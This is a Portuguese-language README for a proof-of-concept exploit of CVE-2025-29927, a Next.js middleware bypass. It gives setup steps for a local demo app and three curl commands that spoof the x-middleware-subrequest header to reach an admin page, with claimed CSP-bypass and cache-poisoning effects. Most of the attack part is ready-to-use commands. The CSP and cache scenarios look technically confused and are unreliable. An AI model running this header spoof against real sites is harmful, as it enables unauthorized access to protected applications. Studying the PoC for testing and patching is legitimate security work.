CVE-2025-29927: Prova de Conceito de Bypass de Middleware do Next.js

Visão Geral

Este PoC demonstra o CVE-2025-29927, uma vulnerabilidade no middleware do Next.js que permite a atacantes contornar mecanismos de autenticação, autorização e CSP usando o cabeçalho x-middleware-subrequest.

Versões Afetadas

Versões do Next.js de 11.1.4 a 15.1.7

Configuração e Instalação

1️⃣ Clone e Instale o PoC

git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo 
cd my-next-app
npm install
npm run dev

O aplicativo será iniciado em http://localhost:3000

Cenários de Exploração

1️⃣ Bypass de Autenticação e Autorização (cURL)

1- Use x-middleware-subrequest para obter acesso não autorizado:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin

💥 Resultado esperado: A resposta retorna admin admin, mesmo que a autenticação tenha sido contornada.

2️⃣ Bypass de CSP para Injeção de XSS

Se o CSP for aplicado via middleware, contorne-o:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "Content-Security-Policy: default-src 'self'" \
     http://localhost:3000/admin

💥 Resultado esperado: O CSP é ignorado, permitindo a execução de scripts maliciosos.

3️⃣ Ataque de Negação de Serviço por Envenenamento de Cache (CPDoS)

Explore o envenenamento de cache forçando uma resposta malformada:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "Cache-Control: public, max-age=3600" \
     http://localhost:3000/admin

💥 Resultado esperado: A página é armazenada em cache com conteúdo incorreto, interrompendo usuários normais.

Estratégias de Mitigação

• ✅ Valide a lógica do middleware para evitar bypass .
• ✅ Atualize o Next.js assim que uma versão corrigida for lançada .

Créditos

🔍 Descoberto por: Allam Rachid (zhero;) & Allam Yasser (inzo_)